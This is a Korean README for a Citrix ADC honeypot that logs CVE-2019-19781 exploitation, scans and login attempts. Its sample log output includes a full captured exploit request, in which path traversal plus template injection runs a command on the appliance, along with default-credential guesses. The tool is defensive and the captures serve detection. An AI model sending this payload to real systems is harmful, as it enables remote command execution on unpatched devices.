
Citrix ADC (NetScaler) 허니팟. CVE-2019-19781 및 로그인 시도 탐지를 지원합니다.

사전 컴파일된 Linux (x64) 패키지는 여기에서 확인할 수 있습니다.
mkdir citrix-honeypot
cd citrix-honeypot
wget https://github.com/x1sec/citrix-honeypot/releases/download/v0.02/citrix-honeypot-linux-amd64.tar.gz
tar -xf citrix-honeypot-linux-amd64.tar.gz
Go 환경이 준비되어 있다면:
go get github.com/x1sec/citrix-honeypot
자체 서명 인증서 생성:
openssl genrsa -out server.key 2048
openssl ecparam -genkey -name secp384r1 -out server.key
openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
사용법은 간단합니다:
./citrix-honeypot
허니팟은 포트 80과 443 모두에서 수신 대기합니다(따라서 root 사용자로 실행해야 함).
또는 백그라운드 프로세스로 분리하여 실행하려면:
nohup ./citrix-honeypot &
결과/데이터는 ./log 디렉터리에 기록됩니다. 내용은 다음과 같습니다:
hits.log - 모든 데이터(예: 헤더, POST 본문)가 포함된 스캔 시도 및 악용 시도
all.log - 서버에 도달하는 것으로 관찰된 모든 HTTP 요청
logins.log - 웹 인터페이스에 대한 로그인 시도
tlsErrors.log - 인터넷 스캐너는 종종 포트 443에 잘못된 데이터를 보냅니다. HTTPS 오류는 여기에 기록됩니다.
최초 공개 익스플로잇 실행:
$ cat logs/hits.log
2020/01/23 08:27:55
-------------------
Exploitation detected ...
src: xxx.xxx.xxx.xxx
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
Content-Length: 181
Content-Type: application/x-www-form-urlencoded
Nsc_nonce: test1337
Nsc_user: /../../../../../../../../../../netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS
User-Agent: curl/7.67.0
url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'id | tee /netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb
스캔 시도:
$ cat logs/hits.log
2020/01/23 08:41:02
-------------------
Scanning detected ...
src: xxx.xxx.xxx.xxx
GET /vpn/../vpns/cfg/smb.conf HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
User-Agent: curl/7.67.0
로그인 시도:
$ cat logs/logins.log
2020/01/23 07:26:03 Failed login from xxx.xxx.xxx.xxx user:nsroot pass:nsroot
2020/01/23 08:26:03 Failed login from xxx.xxx.xxx.xxx user:admin pass:admin